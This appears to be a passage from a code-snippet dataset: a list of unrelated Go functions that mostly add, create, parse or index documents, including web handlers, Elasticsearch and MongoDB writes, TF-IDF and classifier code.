!= nil {\n\t\t\tx.BatchPath, ok = compiler.StringForScalarNode(v17)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for batchPath: %s\", compiler.Display(v17))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Parameters parameters = 18;\n\t\tv18 := compiler.MapValueForKey(m, \"parameters\")\n\t\tif v18 != nil {\n\t\t\tvar err error\n\t\t\tx.Parameters, err = NewParameters(v18, compiler.NewContext(\"parameters\", v18, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Auth auth = 19;\n\t\tv19 := compiler.MapValueForKey(m, \"auth\")\n\t\tif v19 != nil {\n\t\t\tvar err error\n\t\t\tx.Auth, err = NewAuth(v19, compiler.NewContext(\"auth\", v19, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// repeated string features = 20;\n\t\tv20 := compiler.MapValueForKey(m, \"features\")\n\t\tif v20 != nil {\n\t\t\tv, ok := compiler.SequenceNodeForNode(v20)\n\t\t\tif ok {\n\t\t\t\tx.Features = compiler.StringArrayForSequenceNode(v)\n\t\t\t} else {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for features: %s\", compiler.Display(v20))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Schemas schemas = 21;\n\t\tv21 := compiler.MapValueForKey(m, \"schemas\")\n\t\tif v21 != nil {\n\t\t\tvar err error\n\t\t\tx.Schemas, err = NewSchemas(v21, compiler.NewContext(\"schemas\", v21, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Methods methods = 22;\n\t\tv22 := compiler.MapValueForKey(m, \"methods\")\n\t\tif v22 != nil {\n\t\t\tvar err error\n\t\t\tx.Methods, err = NewMethods(v22, compiler.NewContext(\"methods\", v22, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Resources resources = 23;\n\t\tv23 := compiler.MapValueForKey(m, \"resources\")\n\t\tif v23 != nil {\n\t\t\tvar err error\n\t\t\tx.Resources, err = NewResources(v23, compiler.NewContext(\"resources\", v23, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// string etag = 24;\n\t\tv24 := compiler.MapValueForKey(m, \"etag\")\n\t\tif v24 != nil {\n\t\t\tx.Etag, ok = compiler.StringForScalarNode(v24)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for etag: %s\", compiler.Display(v24))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string owner_domain = 25;\n\t\tv25 := compiler.MapValueForKey(m, \"ownerDomain\")\n\t\tif v25 != nil {\n\t\t\tx.OwnerDomain, ok = compiler.StringForScalarNode(v25)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for ownerDomain: %s\", compiler.Display(v25))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string owner_name = 26;\n\t\tv26 := compiler.MapValueForKey(m, \"ownerName\")\n\t\tif v26 != nil {\n\t\t\tx.OwnerName, ok = compiler.StringForScalarNode(v26)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for ownerName: %s\", compiler.Display(v26))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// bool version_module = 27;\n\t\tv27 := compiler.MapValueForKey(m, \"version_module\")\n\t\tif v27 != nil {\n\t\t\tx.VersionModule, ok = compiler.BoolForScalarNode(v27)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for version_module: %s\", compiler.Display(v27))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string canonical_name = 28;\n\t\tv28 := compiler.MapValueForKey(m, \"canonicalName\")\n\t\tif v28 != nil {\n\t\t\tx.CanonicalName, ok = compiler.StringForScalarNode(v28)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for canonicalName: %s\", compiler.Display(v28))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// bool fully_encode_reserved_expansion = 29;\n\t\tv29 := compiler.MapValueForKey(m, \"fullyEncodeReservedExpansion\")\n\t\tif v29 != nil {\n\t\t\tx.FullyEncodeReservedExpansion, ok = compiler.BoolForScalarNode(v29)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for fullyEncodeReservedExpansion: %s\", compiler.Display(v29))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string package_path = 30;\n\t\tv30 := compiler.MapValueForKey(m, \"packagePath\")\n\t\tif v30 != nil {\n\t\t\tx.PackagePath, ok = compiler.StringForScalarNode(v30)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for packagePath: %s\", compiler.Display(v30))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string mtls_root_url = 31;\n\t\tv31 := compiler.MapValueForKey(m, \"mtlsRootUrl\")\n\t\tif v31 != nil {\n\t\t\tx.MtlsRootUrl, ok = compiler.StringForScalarNode(v31)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for mtlsRootUrl: %s\", compiler.Display(v31))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t}\n\treturn x, compiler.NewErrorGroupOrNil(errors)\n}","func saveDocument(key string, c *gin.Context) *ResponseType {\n\tfilePath := dataDir + \"/\" + key\n\tfi, err := os.Stat(filePath)\n\tif err == nil && fi.Size() > 0 {\n\t\treturn newErrorResp(key, \"file exists\", fmt.Errorf(\"file already exists for key %s\", key))\n\t}\n\tf, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file creation error\", fmt.Errorf(\"error creating file for key %s: %s\", key, err.Error()))\n\t}\n\tdefer f.Close()\n\t_, err = io.Copy(f, c.Request.Body)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file write error\", fmt.Errorf(\"error copying body to file for key %s: %s\", key, err.Error()))\n\t}\n\tname := c.Request.FormValue(\"name\")\n\tcontentType := c.Request.Header.Get(\"Content-Type\")\n\textractor := c.Request.FormValue(\"extractor\")\n\ttitle := c.Request.FormValue(\"dc:title\")\n\tcreation := c.Request.FormValue(\"dcterms:created\")\n\tmodification := c.Request.FormValue(\"dcterms:modified\")\n\tmetadata := DocMetadata{\n\t\tTimestamp: time.Now().Unix(),\n\t\tName: name,\n\t\tContentType: contentType,\n\t\tExtractor: extractor,\n\t\tTitle: title,\n\t\tCreationDate: creation,\n\t\tModificationDate: modification,\n\t}\n\terr = saveMetadata(key, &metadata)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file metadata write error\", fmt.Errorf(\"error saving metadata for key %s: %s\", key, err.Error()))\n\t}\n\treturn newSuccessResp(key, \"document saved\")\n}","func (m *sparse) Add(index *index.TermIndex, weight classifier.WeightScheme, docWordFreq map[string]float64) {\n\tprev := len(m.ind)\n\tfor term := range docWordFreq {\n\t\tm.ind = append(m.ind, index.IndexOf(term))\n\t\tm.val = append(m.val, weight(term))\n\t}\n\n\tcur := prev + len(docWordFreq)\n\tquickSort(m, prev, cur-1)\n\tm.ptr = append(m.ptr, cur)\n}","func doTextProcessor(p proc.TextProcessor, label string, c *Chunk, msg string) *Chunk {\n\tres := p.Run(c.Data)\n\n\tfor _, match := range res.Matches {\n\t\tformattedMsg := fmt.Sprintf(msg)\n\t\tc.Matches = append(c.Matches, NewMatch(match.Match, label, match.Indices, formattedMsg))\n\t\tc.Score += 1\n\t}\n\n\treturn c\n}","func (classifier *Classifier) Learn(docs ...Document) {\n\tlog.Infof(\"-----------------------start Learn-----------------------\")\n\tdefer func() {\n\t\tlog.Infof(\"-----------------------end Learn-----------------------\")\n\t}()\n\tclassifier.NAllDocument += len(docs)\n\n\tfor _, doc := range docs {\n\t\tclassifier.NDocumentByClass[doc.Class]++\n\n\t\ttokens := doc.Tokens\n\t\tif classifier.Model == MultinomialBoolean {\n\t\t\ttokens = classifier.removeDuplicate(doc.Tokens...)\n\t\t}\n\n\t\tfor _, token := range tokens {\n\t\t\tclassifier.NFrequencyByClass[doc.Class]++\n\n\t\t\tif _, exist := classifier.LearningResults[token]; !exist {\n\t\t\t\tclassifier.LearningResults[token] = make(map[Class]int)\n\t\t\t}\n\n\t\t\tclassifier.LearningResults[token][doc.Class]++\n\t\t}\n\t}\n\n\tfor class, nDocument := range classifier.NDocumentByClass {\n\t\tlog.Infof(\"class : [%s] nDocument : [%d] NAllDocument : [%d]\", class, nDocument, classifier.NAllDocument)\n\t\tclassifier.PriorProbabilities[class] = float64(nDocument) / float64(classifier.NAllDocument)\n\t}\n}","func (b *BotApp) SetDocument(value DocumentClass) {\n\tb.Flags.Set(0)\n\tb.Document = value\n}","func New(callback Processor) *Document {\n\treturn &Document{callback: callback}\n}","func (e Es) PutDocument(index string, doc string, id string, reqBody string) (string, error) {\n\tif id == \"-\" {\n\t\tid = \"\"\n\t}\n\tbody, err := e.putJSON(fmt.Sprintf(\"/%s/%s/%s\", index, doc, id), reqBody)\n\tif err != nil {\n\t\treturn \"failed\", err\n\t}\n\terr = checkError(body)\n\tif err != nil {\n\t\treturn \"failed\", err\n\t}\n\tresult, ok := body[\"result\"].(string)\n\tif !ok {\n\t\treturn \"failed\", fmt.Errorf(\"Failed to parse response\")\n\t}\n\treturn result, nil\n}","func readDocContentFromFile(addDocArgV addDocArgs, docClient DocClient) ([]*rspace.DocumentInfo, error) {\n\tcreatedDocs := make([]*rspace.DocumentInfo, 0)\n\n\t// else is form, we add content if there is any\n\t// TODO implement this, use CSV data as an example.\n\tformId, err := idFromGlobalId(addDocArgV.FormId)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar toPost = rspace.DocumentPost{}\n\ttoPost.Name = addDocArgV.NameArg\n\ttoPost.Tags = addDocArgV.Tags\n\ttoPost.FormID = rspace.FormId{formId}\n\tif len(addDocArgV.InputData) > 0 {\n\t\tf, err := os.Open(addDocArgV.InputData)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcsvIn, err := readCsvFile(f)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\terr = validateCsvInput(csvIn)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// iterate of each row in file\n\t\tfor i, v := range csvIn {\n\t\t\t// ignore 1st line - header\n\t\t\tif i == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmessageStdErr(fmt.Sprintf(\"%d of %d\", i, len(csvIn)-1))\n\t\t\tvar content []rspace.FieldContent = make([]rspace.FieldContent, 0)\n\t\t\t// convert each column into a field\n\t\t\tfor _, v2 := range v {\n\t\t\t\tcontent = append(content, rspace.FieldContent{Content: v2})\n\t\t\t}\n\t\t\ttoPost.Fields = content\n\t\t\t// add suffix to name if > 1 document being created\n\t\t\tif i > 1 {\n\t\t\t\ttoPost.Name = fmt.Sprintf(\"%s-%d\", toPost.Name, i)\n\t\t\t}\n\t\t\tdoc, err := docClient.NewDocumentWithContent(&toPost)\n\t\t\tif err != nil {\n\t\t\t\tmessageStdErr(fmt.Sprintf(\"Could not create document from data in row %d\", i))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcreatedDocs = append(createdDocs, doc.DocumentInfo)\n\t\t}\n\t}\n\treturn createdDocs, nil\n}","func (trie *Trie) addMovie(s string, id int) {\n\ts = strings.ToLower(s)\n\n\tres := strings.Fields(s)\n\n\tstrings.ToLower(s)\n\n\tif trie.root == nil {\n\t\ttmp := new(TNode)\n\t\ttmp.isword = false\n\t\ttmp.cnodes = make(map[string]*TNode)\n\t\ttrie.root = tmp\n\t}\n\n\tfor i := range res {\n\t\ttrie.root.addString(res[i], id)\n\t}\n}","func (handler DocHandler) Create(w http.ResponseWriter, r *http.Request) {\n\tvar doc models.Doc\n\tjson.NewDecoder(r.Body).Decode(&doc)\n\n\tvalidate := validator.New()\n\n\terr := validate.Struct(doc)\n\tif err != nil {\n\t\tresponse.JSON(w, response.Result{Error: \"Error creating document\"}, http.StatusNotAcceptable)\n\t\treturn\n\t}\n\n\thandler.DB.Create(&doc)\n\tresponse.JSON(w, response.Result{Result: \"Document Created\"}, http.StatusCreated)\n}","func (wt *WaterTower) PostDocument(uniqueKey string, document *Document) (uint32, error) {\n\tretryCount := 50\n\tvar lastError error\n\tvar docID uint32\n\tnewTags, newDocTokens, wordCount, titleWordCount, err := wt.analyzeDocument(\"new\", document)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tfor i := 0; i < retryCount; i++ {\n\t\tdocID, lastError = wt.postDocumentKey(uniqueKey)\n\t\tif lastError == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tif lastError != nil {\n\t\treturn 0, fmt.Errorf(\"fail to register document's unique key: %w\", lastError)\n\t}\n\tfor i := 0; i < retryCount; i++ {\n\t\toldDoc, err := wt.postDocument(docID, uniqueKey, wordCount, titleWordCount, document)\n\t\tif err != nil {\n\t\t\tlastError = err\n\t\t\tcontinue\n\t\t}\n\t\toldTags, oldDocTokens, _, _, err := wt.analyzeDocument(\"old\", oldDoc)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\terr = wt.updateTagsAndTokens(docID, oldTags, newTags, oldDocTokens, newDocTokens)\n\t\tif err != nil {\n\t\t\tlastError = err\n\t\t\tcontinue\n\t\t}\n\t\treturn docID, nil\n\t}\n\treturn 0, fmt.Errorf(\"fail to register document: %w\", lastError)\n}","func (es ES) AddTool(tool globals.Perco) error {\n\tif tool.Name == \"\" || tool.Query.Regexp.Input == \"\" {\n\t\treturn errors.New(\"cannot create empty tool\")\n\t}\n\n\tb, err := json.Marshal(tool)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = es.Client.Index().\n\t\tIndex(\"tools\").\n\t\tId(tool.ID).\n\t\tRefresh(\"true\").\n\t\tType(\"_doc\").\n\t\tBodyString(string(b)).\n\t\tDo(es.Context)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating document : %s\", err.Error())\n\t}\n\treturn nil\n}","func SaveQueryTextSearch(q *QueryTextSearch) {\n\tsession, err := mgo.Dial(\"mongodb://localhost\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer session.Close()\n\n\tcollQueriesTextSearch := common.GetCollection(session, \"queries.textsearch\")\n\n\terr = collQueriesTextSearch.Insert(q)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}","func (p *Parser) ParseDocument(doc string, quote bool) ([]*basically.Sentence, []*basically.Token, error) {\n\tsents := p.sentTokenizer.Segment(doc)\n\tretSents := make([]*basically.Sentence, 0, len(sents))\n\tretTokens := make([]*basically.Token, 0, len(sents)*15)\n\n\ttokCounter := 0\n\tfor idx, sent := range sents {\n\t\ttokens := p.wordTokenizer.Tokenize(sent.Text)\n\t\ttokens = p.tagger.Tag(tokens)\n\n\t\t// Convert struct from []*prose.Token to []*basically.Token.\n\t\tbtokens := make([]*basically.Token, 0, len(tokens))\n\t\tfor _, tok := range tokens {\n\t\t\tbtok := basically.Token{Tag: tok.Tag, Text: strings.ToLower(tok.Text), Order: tokCounter}\n\t\t\tbtokens = append(btokens, &btok)\n\t\t\ttokCounter++\n\t\t}\n\n\t\t// Analyzes sentence sentiment.\n\t\tsentiment := p.analyzer.PolarityScores(sent.Text).Compound\n\n\t\tretSents = append(retSents, &basically.Sentence{\n\t\t\tRaw: sent.Text,\n\t\t\tTokens: btokens,\n\t\t\tSentiment: sentiment,\n\t\t\tBias: 1.0,\n\t\t\tOrder: idx,\n\t\t})\n\n\t\tretTokens = append(retTokens, btokens...)\n\t}\n\n\treturn retSents, retTokens, nil\n}","func (d *Decoder) AddWord(word, phones String, update bool) (id int32, ok bool) {\n\tret := pocketsphinx.AddWord(d.dec, word.S(), phones.S(), b(update))\n\tif ret < 0 {\n\t\treturn 0, false\n\t}\n\treturn ret, true\n}","func NewDocumentService(config *autoconfig.Config, ctx context.Context) (*DocumentService, error) {\n\ts := &DocumentService{\n\t\tconfig: config,\n\t\tHandler: mux.NewRouter(),\n\t}\n\ts.createClients(ctx)\n\n\t// These is the un-authenticated endpoint that handles authentication with Auth0.\n\ts.Handler.HandleFunc(\"/debug/health\", health.StatusHandler).Methods(\"GET\")\n\ts.Handler.Handle(\"/login\", middleware.JSON(authentication.Handler(config))).Methods(\"POST\")\n\n\t// These requests all require authentication.\n\tlogMiddleware := logging.LogMiddleware{\n\t\tTable: s.bigquery.Dataset(config.Get(\"bigquery.dataset\")).Table(config.Get(\"bigquery.log_table\")),\n\t}\n\tauthRouter := s.Handler.PathPrefix(\"/document\").Subrouter()\n\tauthRouter.Handle(\"/\", middleware.JSON(authentication.Middleware(config, s.ListDocuments))).Methods(\"GET\")\n\tauthRouter.Handle(\"/\", middleware.JSON(authentication.Middleware(config, s.UploadDocument))).Methods(\"POST\")\n\tauthRouter.Handle(\"/{id}\", authentication.Middleware(config, s.GetDocument)).Methods(\"GET\")\n\tauthRouter.Handle(\"/{id}\", middleware.JSON(authentication.Middleware(config, s.DeleteDocument))).Methods(\"DELETE\")\n\tauthRouter.Use(logMiddleware.Middleware)\n\tauthRouter.Use(handlers.CompressHandler)\n\treturn s, nil\n}","func ParseDocument(data []byte) (*Doc, error) {\n\t// validate did document\n\tif err := validate(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\traw := &rawDoc{}\n\n\terr := json.Unmarshal(data, &raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"JSON marshalling of did doc bytes bytes failed: %w\", err)\n\t}\n\n\tpublicKeys, err := populatePublicKeys(raw.PublicKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate public keys failed: %w\", err)\n\t}\n\n\tauthPKs, err := populateAuthentications(raw.Authentication, publicKeys)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate authentications failed: %w\", err)\n\t}\n\n\tproofs, err := populateProofs(raw.Proof)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate proofs failed: %w\", err)\n\t}\n\n\treturn &Doc{Context: raw.Context,\n\t\tID: raw.ID,\n\t\tPublicKey: publicKeys,\n\t\tService: populateServices(raw.Service),\n\t\tAuthentication: authPKs,\n\t\tCreated: raw.Created,\n\t\tUpdated: raw.Updated,\n\t\tProof: proofs,\n\t}, nil\n}","func (dao *FilingDaoImpl) AddDocuments(filing *model.Filing, docs []*model.Document) error {\n\tif filing == nil || filing.ID == \"\" {\n\t\treturn fmt.Errorf(\"no filing to add docs to\")\n\t}\n\tif len(docs) == 0 {\n\t\treturn fmt.Errorf(\"no docs\")\n\t}\n\tf := filingAsRecord(filing)\n\tvar totalSize int64\n\trecords := []*Document{}\n\tfor _, doc := range docs {\n\t\trec := documentPartial(doc)\n\t\trec.FilingID = filing.ID\n\t\trec.Data = []byte(doc.Body)\n\t\tsize := int64(len(rec.Data))\n\t\trec.SizeEstimate = byteCountDecimal(size)\n\t\ttotalSize += size\n\t\trecords = append(records, rec)\n\t}\n\tf.DocumentCount = int64(len(records))\n\tf.TotalSizeEstimate = byteCountDecimal(totalSize)\n\tf.Updated = time.Now()\n\n\ttx, err := dao.db.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Insert docs.\n\terr = dao.db.Insert(&records)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\n\t_, err = tx.Model(f).Column(\"doc_count\", \"total_size_est\", \"updated\").WherePK().Update()\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\n\treturn tx.Commit()\n}","func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\n\n\tid := uuid.Must(uuid.NewV4()).String()\n\tjsonData := jsonDocument(vehicleid, latitude, longitude)\n\n\tctx := context.Background()\n\tdoc, err := client.Index().\n\t\tIndex(os.Getenv(\"ELASTICSEARCH_INDEX\")).\n\t\tType(os.Getenv(\"ELASTICSEARCH_TYPE\")).\n\t Id(id).\n\t BodyString(jsonData).\n\t Do(ctx)\n\tcommon.CheckError(err)\n\tlog.Printf(\"Indexed geolocation %s to index %s, type %s\\n\", doc.Id, doc.Index, doc.Type)\n\treturn nil\n}","func (f *TFIDF) Cal(doc string) (weight map[string]float64) {\n\tweight = make(map[string]float64)\n\n\tvar termFreq map[string]int\n\n\tdocPos := f.docPos(doc)\n\tif docPos < 0 {\n\t\ttermFreq = f.termFreq(doc)\n\t} else {\n\t\ttermFreq = f.termFreqs[docPos]\n\t}\n\n\tdocTerms := 0\n\tfor _, freq := range termFreq {\n\t\tdocTerms += freq\n\t}\n\tfor term, freq := range termFreq {\n\t\tweight[term] = tfidf(freq, docTerms, f.termDocs[term], f.n)\n\t}\n\n\treturn weight\n}","func (b *Batch) Add(document ...DataObject) *Batch {\n\tb.Data = append(b.Data, document...)\n\treturn b\n}","func (s *DocumentStore) CreateDocument(ctx context.Context, d *influxdb.Document) error {\n\treturn s.service.kv.Update(ctx, func(tx Tx) error {\n\t\t// Check that labels exist before creating the document.\n\t\t// Mapping creation would check for that, but cannot anticipate that until we\n\t\t// have a valid document ID.\n\t\tfor _, l := range d.Labels {\n\t\t\tif _, err := s.service.findLabelByID(ctx, tx, l.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\terr := s.service.createDocument(ctx, tx, s.namespace, d)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor orgID := range d.Organizations {\n\t\t\tif err := s.service.addDocumentOwner(ctx, tx, orgID, d.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tfor _, l := range d.Labels {\n\t\t\tif err := s.addDocumentLabelMapping(ctx, tx, d.ID, l.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n}","func (d *Doc) AddFormattedText(x, y float64, content string, size int, style string) {\n\td.SetFontSize(size)\n\td.SetFontStyle(style)\n\td.AddText(x, y, content)\n\td.DefaultFontSize()\n\td.DefaultFontStyle()\n}","func (c *Classifier) createTargetIndexedDocument(in []byte) *indexedDocument {\n\tdoc := tokenize(in)\n\treturn c.generateIndexedDocument(doc, false)\n}","func (t *TrieNode) Add(str string, scene *sfmovies.Scene) {\n\tstr = CleanString(str)\n\tt.recursiveAdd(str, scene)\n}","func (b *Builder) AddTextFunc(f func(io.Writer) error) *Builder {\n\tb.textFunc = f\n\treturn b\n}","func (g Generator) NewDocument(eventTime time.Time, d *pathway.Document) *ir.Document {\n\treturn g.documentGenerator.Document(eventTime, d)\n}","func CreateDocument(data interface{}) error {\n\tid, rev, err := DB.CreateDocument(data)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\n\tUsersDoc.Rev = rev\n\tUsersDoc.ID = id\n\n\treturn nil\n}","func (this *Corpus) Load(fn string) {\n\tf, err := os.Open(fn)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif this.Docs == nil {\n\t\tthis.Docs = make(map[uint32][]*WordCount)\n\t}\n\tvocabMaxId := uint32(0)\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tdoc := scanner.Text()\n\t\tvals := strings.Split(doc, \" \")\n\t\tif len(vals) < 2 {\n\t\t\tlog.Warningf(\"bad document: %s\", doc)\n\t\t\tcontinue\n\t\t}\n\n\t\tdocId, err := strconv.ParseUint(vals[0], 10, 32)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tthis.DocNum += uint32(1)\n\n\t\tfor _, kv := range vals[1:] {\n\t\t\twc := strings.Split(kv, \":\")\n\t\t\tif len(wc) != 2 {\n\t\t\t\tlog.Warningf(\"bad word count: %s\", kv)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\twordId, err := strconv.ParseUint(wc[0], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tcount, err := strconv.ParseUint(wc[1], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tthis.Docs[uint32(docId)] = append(this.Docs[uint32(docId)], &WordCount{\n\t\t\t\tWordId: uint32(wordId),\n\t\t\t\tCount: uint32(count),\n\t\t\t})\n\t\t\tif uint32(wordId) > vocabMaxId {\n\t\t\t\tvocabMaxId = uint32(wordId)\n\t\t\t}\n\t\t}\n\t}\n\tthis.VocabSize = vocabMaxId + 1\n\n\tlog.Infof(\"number of documents %d\", this.DocNum)\n\tlog.Infof(\"vocabulary size %d\", this.VocabSize)\n}","func NewDocument(record interface{}, readonly ...bool) *Document {\n\tswitch v := record.(type) {\n\tcase *Document:\n\t\treturn v\n\tcase reflect.Value:\n\t\treturn newDocument(v.Interface(), v, len(readonly) > 0 && readonly[0])\n\tcase reflect.Type:\n\t\tpanic(\"rel: cannot use reflect.Type\")\n\tcase nil:\n\t\tpanic(\"rel: cannot be nil\")\n\tdefault:\n\t\treturn newDocument(v, reflect.ValueOf(v), len(readonly) > 0 && readonly[0])\n\t}\n}","func (t MatchTask) AddSentence(contextMarker string, text string) {\n\tvar words = strings.Fields(text)\n\tvar sentence = Sentence{0, words}\n\n\tt.sentenceByContextMarker[contextMarker] = sentence\n}","func ProcessDocument(document string) (string, bool) {\n\n regRule, err := regexp.Compile(\"[^0-9]+\")\n if err != nil {\n log.Print(err)\n }\n processedDocument := regRule.ReplaceAllString(document, \"\")\n stringSize := len(processedDocument)\n\n if stringSize == 11 { //Validação dos dígitos verificadores\n return processedDocument, VerifyCPF(processedDocument)\n } else if stringSize == 14 {\n return processedDocument, VerifyCNPJ(processedDocument)\n } else {\n //log.Println(stringSize, document, processedDocument)\n return processedDocument, false\n }\n}","func (c *central) broadcastAddDoc(teammate map[string]bool,args *centralrpc.AddDocArgs) error {\n\tfor k, _ := range teammate {\n\t\terr := c.sendAddedDoc(k,args.HostPort, args.DocId)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func AddNewDefinition(objName string, s interface{}, sw *Doc) {\n\tif _, ok := sw.Definitions[objName]; !ok {\n\t\tsw.Definitions[objName] = &Definition{}\n\t\tsw.Definitions[objName].Parse(s, sw)\n\t}\n}","func ParseCWLDocument(existingContext *WorkflowContext, yamlStr string, entrypoint string, inputfilePath string, useObjectID string) (objectArray []NamedCWLObject, schemata []CWLType_Type, context *WorkflowContext, schemas []interface{}, newEntrypoint string, err error) {\n\t//fmt.Printf(\"(Parse_cwl_document) starting\\n\")\n\n\tif useObjectID != \"\" {\n\t\tif !strings.HasPrefix(useObjectID, \"#\") {\n\t\t\terr = fmt.Errorf(\"(NewCWLObject) useObjectID has not # as prefix (%s)\", useObjectID)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif existingContext != nil {\n\t\tcontext = existingContext\n\t} else {\n\t\tcontext = NewWorkflowContext()\n\t\tcontext.Path = inputfilePath\n\t\tcontext.InitBasic()\n\t}\n\n\tgraphPos := strings.Index(yamlStr, \"$graph\")\n\n\t//yamlStr = strings.Replace(yamlStr, \"$namespaces\", \"namespaces\", -1)\n\t//fmt.Println(\"yamlStr:\")\n\t//fmt.Println(yamlStr)\n\n\tif graphPos != -1 {\n\t\t// *** graph file ***\n\t\t//yamlStr = strings.Replace(yamlStr, \"$graph\", \"graph\", -1) // remove dollar sign\n\t\tlogger.Debug(3, \"(Parse_cwl_document) graph document\")\n\t\t//fmt.Printf(\"(Parse_cwl_document) ParseCWLGraphDocument\\n\")\n\t\tobjectArray, schemata, schemas, err = ParseCWLGraphDocument(yamlStr, entrypoint, context)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"(Parse_cwl_document) Parse_cwl_graph_document returned: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t} else {\n\t\tlogger.Debug(3, \"(Parse_cwl_document) simple document\")\n\t\t//fmt.Printf(\"(Parse_cwl_document) ParseCWLSimpleDocument\\n\")\n\n\t\t//useObjectID := \"#\" + inputfilePath\n\n\t\tvar objectID string\n\n\t\tobjectArray, schemata, schemas, objectID, err = ParseCWLSimpleDocument(yamlStr, useObjectID, context)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"(Parse_cwl_document) Parse_cwl_simple_document returned: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t\tnewEntrypoint = objectID\n\t}\n\tif len(objectArray) == 0 {\n\t\terr = fmt.Errorf(\"(Parse_cwl_document) len(objectArray) == 0 (graphPos: %d)\", graphPos)\n\t\treturn\n\t}\n\t//fmt.Printf(\"(Parse_cwl_document) end\\n\")\n\treturn\n}","func NewDocument(url *url.URL, node *html.Node, logger log.Logger) *Document {\n\treturn &Document{\n\t\turl: url,\n\t\tnode: node,\n\t\tlogger: logger,\n\t}\n}","func (c *Client) CreateDocument(vaultID string, document *models.EncryptedDocument, opts ...ReqOption) (string, error) {\n\treqOpt := &ReqOpts{}\n\n\tfor _, o := range opts {\n\t\to(reqOpt)\n\t}\n\n\tjsonToSend, err := c.marshal(document)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to marshal document: %w\", 